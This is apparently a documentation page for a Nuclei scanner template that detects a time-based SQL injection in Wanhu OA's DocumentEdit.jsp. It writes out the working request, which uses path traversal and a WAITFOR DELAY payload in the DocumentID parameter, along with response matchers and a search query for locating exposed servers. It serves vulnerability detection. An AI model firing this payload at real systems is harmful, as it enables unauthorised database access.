WanhuOA DocumentEdit.jsp - SQL Injection
ID: wanhu-documentedit-sqli
Severity: high
Author: SleepingBag945
Tags: time-based-sqli,wanhu,sqli
Description
Section titled “Description”The Wanhu OA DocumentEdit.jsp file has a SQL injection vulnerability. An attacker can perform SQL injection into the database by sending a special request package and obtain sensitive information on the server.
YAML Source
Section titled “YAML Source”id: wanhu-documentedit-sqli
info: name: WanhuOA DocumentEdit.jsp - SQL Injection author: SleepingBag945 severity: high description: | The Wanhu OA DocumentEdit.jsp file has a SQL injection vulnerability. An attacker can perform SQL injection into the database by sending a special request package and obtain sensitive information on the server. reference: - http://wiki.peiqi.tech/wiki/oa/万户OA/万户OA%20DocumentEdit.jsp%20SQL注入漏洞.html - https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E4%B8%87%E6%88%B7OA%20DocumentEdit.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md metadata: verified: true max-request: 1 fofa-query: app="万户网络-ezOFFICE" tags: time-based-sqli,wanhu,sqli
http: - raw: - | @timeout: 15s GET /defaultroot/iWebOfficeSign/OfficeServer.jsp/../../public/iSignatureHTML.jsp/DocumentEdit.jsp?DocumentID=1';WAITFOR%20DELAY%20'0:0:7'-- HTTP/1.1 Host: {{Hostname}}
matchers: - type: dsl dsl: - 'duration>=7' - 'status_code == 200' - 'contains_all(body, "iSignature", "DoYFSignature")' condition: and# digest: 4b0a00483046022100ee9fe1b5fed886d0f3eda83ddd6b75d28a9e031f3a26e49b4e8ed2f64f3f21f0022100e805469be59deecb92dd6de517f5809e1607b988f9718f4e4abe7eabd4ec9b69:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/wanhu/wanhu-documentedit-sqli.yaml"